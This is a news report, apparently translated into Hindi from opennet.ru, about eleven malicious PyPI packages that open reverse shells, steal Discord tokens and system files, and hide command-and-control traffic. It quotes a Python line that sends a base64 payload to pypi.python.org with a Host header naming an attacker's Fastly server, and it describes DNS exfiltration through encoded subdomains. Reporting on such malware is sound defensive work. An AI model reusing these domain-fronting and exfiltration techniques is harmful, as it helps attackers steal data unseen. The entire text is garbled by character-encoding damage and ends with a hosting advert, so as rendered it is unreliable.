PyPI рдХреИрдЯрд▓реЙрдЧ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЧрдИ рд╣реИ рдЬреЛ рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП PyPI CDN рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ

PyPI (рдкрд╛рдпрдерди рдкреИрдХреЗрдЬ рдЗрдВрдбреЗрдХреНрд╕) рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ, рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд╡рд╛рд▓реЗ 11 рдкреИрдХреЗрдЬреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЧрдИ рдереАред рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреА рдкрд╣рдЪрд╛рди рд╣реЛрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдкреИрдХреЗрдЬреЛрдВ рдХреЛ рдХреБрд▓ рдорд┐рд▓рд╛рдХрд░ рд▓рдЧрднрдЧ 38 рд╣рдЬрд╛рд░ рдмрд╛рд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдкрддрд╛ рд▓рдЧрд╛рдП рдЧрдП рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреИрдХреЗрдЬ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓реЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░рд┐рд╖реНрдХреГрдд рддрд░реАрдХреЛрдВ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЙрд▓реНрд▓реЗрдЦрдиреАрдп рд╣реИрдВред

  • рдорд╣рддреНрд╡рдкреВрд░реНрдгрдкреИрдХреЗрдЬ (6305 рдбрд╛рдЙрдирд▓реЛрдб), рдорд╣рддреНрд╡рдкреВрд░реНрдг-рдкреИрдХреЗрдЬ (12897) - рд╕рд┐рд╕реНрдЯрдо рддрдХ рд╢реЗрд▓ рдПрдХреНрд╕реЗрд╕ (рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓) рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП pypi.python.org рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрдбрд╝ рдореЗрдВ рдПрдХ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдФрд░ рдЗрд╕реЗ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП trevorc2 рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ред рдмрд╛рддрдЪреАрдд рдХрд╛ рдорд╛рдзреНрдпрдоред
  • рдкреАрдкреАрдЯреЗрд╕реНрдЯ (10001), рдЖрдИрдкреАрдмреЛрд░реНрдбреНрд╕ (946) - рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓ рдХреЗ рд░реВрдк рдореЗрдВ рдбреАрдПрдирдПрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рдкреИрдХреЗрдЯ рдореЗрдВ рд╣реЛрд╕реНрдЯ рдирд╛рдо, рдХрд╛рд░реНрдпрд╢реАрд▓ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛, рдЖрдВрддрд░рд┐рдХ рдФрд░ рдмрд╛рд╣рд░реА рдЖрдИрдкреА, рджреВрд╕рд░реЗ рдореЗрдВ - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рд╣реЛрд╕реНрдЯ рдирд╛рдо) .
  • рдЙрд▓реНрд▓реВрдореВрди (3285), рдбрд┐рд╕реНрдХреЙрд░реНрдбрд╕реЗрдлреНрдЯреА (557), рдпрд┐рдлрдкрд╛рд░реНрдЯреА (1859) - рдиреЗ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдбрд┐рд╕реНрдХреЙрд░реНрдб рд╕реЗрд╡рд╛ рдЯреЛрдХрди рдХреА рдкрд╣рдЪрд╛рди рдХреА рдФрд░ рдЗрд╕реЗ рдПрдХ рдмрд╛рд╣рд░реА рд╣реЛрд╕реНрдЯ рдХреЛ рднреЗрдЬрд╛ред
  • trrfab (287) - рдмрд╛рд╣рд░реА рд╣реЛрд╕реНрдЯ рдХреЛ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛, рд╣реЛрд╕реНрдЯ рдирд╛рдо рдФрд░ /etc/passwd, /etc/hosts, /home рдХреА рд╕рд╛рдордЧреНрд░реА рднреЗрдЬреА рдЧрдИред
  • 10рд╕реЗрдВрдЯ10 (490) - рдмрд╛рд╣рд░реА рд╣реЛрд╕реНрдЯ рдХреЗ рд╕рд╛рде рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ред
  • рдпрд╛рдВрдбреЗрдХреНрд╕-рд╡рд╛рдИрдЯреА (4183) - рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдПрдХ рд╕рдВрджреЗрд╢ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдФрд░ nda.ya.ru (api.ya.cc) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬрд╛рд░реА рдЖрдЧреЗ рдХреА рдХрд╛рд░реНрд░рд╡рд╛рдЗрдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрддрд┐рд░рд┐рдХреНрдд рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓реЗ рдПрдХ рдкреГрд╖реНрда рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ред

рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рдорд╣рддреНрд╡рдкреВрд░реНрдг рдкреИрдХреЗрдЬ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг-рдкреИрдХреЗрдЬ рдкреИрдХреЗрдЬ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдмрд╛рд╣рд░реА рд╣реЛрд╕реНрдЯ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдХреА рд╡рд┐рдзрд┐ рд╣реИ, рдЬреЛ рдЕрдкрдиреА рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреАрдИрдкреАрдЖрдИ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдлрд╛рд╕реНрдЯрд▓реА рд╕рд╛рдордЧреНрд░реА рд╡рд┐рддрд░рдг рдиреЗрдЯрд╡рд░реНрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЕрдиреБрд░реЛрдз pypi.python.org рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬреЗ рдЧрдП рдереЗ (HTTPS рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрдВрджрд░ SNI рдореЗрдВ Python.org рдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рд╕рд╣рд┐рдд), рд▓реЗрдХрд┐рди HTTP "рд╣реЛрд╕реНрдЯ" рд╣реЗрдбрд░ рдореЗрдВ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╕рд░реНрд╡рд░ рдХрд╛ рдирд╛рдо рд╢рд╛рдорд┐рд▓ рдерд╛ (рд╕реЗрдХрдВрдб)ред рдлреЙрд░рд╡рд░реНрдб.рдЖрдИрдУ. рдЧреНрд▓реЛрдмрд▓.рдкреНрд░реЛрдб.рдлрд╛рд╕реНрдЯрд▓реА.рдиреЗрдЯ)ред рд╕рд╛рдордЧреНрд░реА рд╡рд┐рддрд░рдг рдиреЗрдЯрд╡рд░реНрдХ рдиреЗ рдбреЗрдЯрд╛ рд╕рдВрдЪрд╛рд░рд┐рдд рдХрд░рддреЗ рд╕рдордп pypi.python.org рдкрд░ рдЯреАрдПрд▓рдПрд╕ рдХрдиреЗрдХреНрд╢рди рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдорд▓рд╛рд╡рд░ рд╕рд░реНрд╡рд░ рдХреЛ рдПрдХ рд╕рдорд╛рди рдЕрдиреБрд░реЛрдз рднреЗрдЬрд╛ред

PyPI рдХрд╛ рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪрд╛ Fastly рдХрдВрдЯреЗрдВрдЯ рдбрд┐рд▓реАрд╡рд░реА рдиреЗрдЯрд╡рд░реНрдХ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рд╣реИ, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд░рджрд░реНрд╢реА Varnish рдкреНрд░реЙрдХреНрд╕реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ HTTPS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд░реВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдВрдбрдкреЙрдЗрдВрдЯ рд╕рд░реНрд╡рд░ рдХреЗ рдмрдЬрд╛рдп CDN рд╕реНрддрд░ рдкрд░ TLS рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓рддрд╛ рд╣реИред рд▓рдХреНрд╖реНрдп рд╣реЛрд╕реНрдЯ рдЪрд╛рд╣реЗ рдЬреЛ рднреА рд╣реЛ, рдЕрдиреБрд░реЛрдз рдкреНрд░реЙрдХреНрд╕реА рдкрд░ рд░реВрдЯ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ "Host" HTTP рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд╛рдВрдЫрд┐рдд рд╣реЛрд╕реНрдЯ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░рддрд╛ рд╣реИред рдбреЛрдореЗрди рдирд╛рдо рд╣реЛрд╕реНрдЯ рдХреЛ рд╕реАрдбреАрдПрди рд▓реЛрдб рдмреИрд▓реЗрдВрд╕рд░ рдЖрдИрдкреА рдкрддреЛрдВ рдкрд░ рдореИрдк рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╕рднреА рдлрд╛рд╕реНрдЯрд▓реА рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рд╛рдорд╛рдиреНрдп рд╣реЛрддреЗ рд╣реИрдВред

рд╣рдорд▓рд╛рд╡рд░ рдХрд╛ рд╕рд░реНрд╡рд░ Fastly CDN рдкрд░ рднреА рдкрдВрдЬреАрдХреГрдд рд╣реИ, рдЬреЛ рд╕рднреА рдХреЛ рдореБрдлреНрдд рдкреНрд▓рд╛рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЧреБрдордирд╛рдо рдкрдВрдЬреАрдХрд░рдг рдХреА рднреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЦрд╛рд╕ рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдкреАрдбрд╝рд┐рдд рдХреЛ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд░рд┐рд╡рд░реНрд╕ рд╢реЗрд▓ рдХрд╛ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпреЗ рдЕрдиреБрд░реЛрдз рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╣реЛрд╕реНрдЯ рд╕реЗ рд╢реБрд░реВ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдмрд╛рд╣рд░ рд╕реЗ рджреЗрдЦрдиреЗ рдкрд░, рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рд╣реЛрдиреЗ рд╡рд╛рд▓реА рдмрд╛рддрдЪреАрдд PyPI рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЗ рд╕рд╛рде рд╡реИрдз рд╕рддреНрд░реЛрдВ рдХреА рддрд░рд╣ рдкреНрд░рддреАрдд рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЯреАрдПрд▓рдПрд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ PyPI. "рдбреЛрдореЗрди рдлреНрд░рдВрдЯрд┐рдВрдЧ" рдирд╛рдордХ рдПрдХ рд╕рдорд╛рди рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╣рд▓реЗ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдмреНрд▓реЙрдХрд┐рдВрдЧ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╕рдордп рд╣реЛрд╕реНрдЯрдирд╛рдореЛрдВ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рдерд╛ред рдпрд╣ рддрдХрдиреАрдХ рдХреБрдЫ CDN рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА HTTPS рдПрдХреНрд╕реЗрд╕ рд╕реБрд╡рд┐рдзрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, SNI рдореЗрдВ рдПрдХ рдбрдореА рд╣реЛрд╕реНрдЯрдирд╛рдо рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИ рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ TLS рд╕рддреНрд░ рдХреЗ рднреАрддрд░ HTTP рд╣реЛрд╕реНрдЯ рд╣реЗрдбрд░ рдореЗрдВ рдЕрдиреБрд░реЛрдзрд┐рдд рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддреА рд╣реИред


PyPI рдХреИрдЯрд▓реЙрдЧ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдХреА рдЧрдИ рд╣реИ рдЬреЛ рд╕рдВрдЪрд╛рд░ рдЪреИрдирд▓ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП PyPI CDN рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ

рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдпрдорд┐рдд рд╡реЗрдм рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХреЗ рд╕рдорд╛рди рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреНрд░реЗрд╡рд░рд╕реА2 рдкреИрдХреЗрдЬ рдХрд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЫрд╡рд┐ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЖрдбрд╝ рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗ рдЧрдП рдереЗ тАЬhttps://pypi.python.org/images/ guid='' guid рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рд╕реВрдЪрдирд╛ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЗ рд╕рд╛рдеред url = "https://pypi.python.org" + "/images" + "?" + тАЬguid =тАЭ + b64_payload r = request.Request (url, рд╣реЗрдбрд░ = {'рд╣реЛрд╕реНрдЯ': тАЬpsec.forward.io.global.prod.fastly.netтАЭ})

рдкреАрдкреАрдЯреЗрд╕реНрдЯ рдФрд░ рдЖрдИрдкреАрдмреЛрд░реНрдб рдкреИрдХреЗрдЬ рдиреЗ рдиреЗрдЯрд╡рд░реНрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрд▓рдЧ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛, рдЬреЛ рдбреАрдПрдирдПрд╕ рд╕рд░реНрд╡рд░ рдкрд░ рдкреНрд░рд╢реНрдиреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧреА рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рдиреЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдерд╛ред рдореИрд▓рд╡реЗрдпрд░ "nu4timjagq4fimbuhe.example.com" рдЬреИрд╕реЗ DNS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирд┐рдпрдВрддреНрд░рдг рд╕рд░реНрд╡рд░ рдкрд░ рдкреНрд░реЗрд╖рд┐рдд рдбреЗрдЯрд╛ рдХреЛ рдЙрдкрдбреЛрдореЗрди рдирд╛рдо рдореЗрдВ рдмреЗрд╕ 64 рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрди рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ example.com рдбреЛрдореЗрди рдХреЗ рд▓рд┐рдП DNS рд╕рд░реНрд╡рд░ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред

рд╕реНрд░реЛрдд: opennet.ru

DDoS рд╕реБрд░рдХреНрд╖рд╛, VPS VDS рд╕рд░реНрд╡рд░ рд╡рд╛рд▓реА рд╕рд╛рдЗрдЯреЛрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рдЦрд░реАрджреЗрдВ ЁЯФе рдбреАрдбреАрдУрдПрд╕ рд╕реБрд░рдХреНрд╖рд╛, рд╡реАрдкреАрдПрд╕ рдФрд░ рд╡реАрдбреАрдПрд╕ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╡реЗрдмрд╕рд╛рдЗрдЯ рд╣реЛрд╕реНрдЯрд┐рдВрдЧ рдЦрд░реАрджреЗрдВ | ProHoster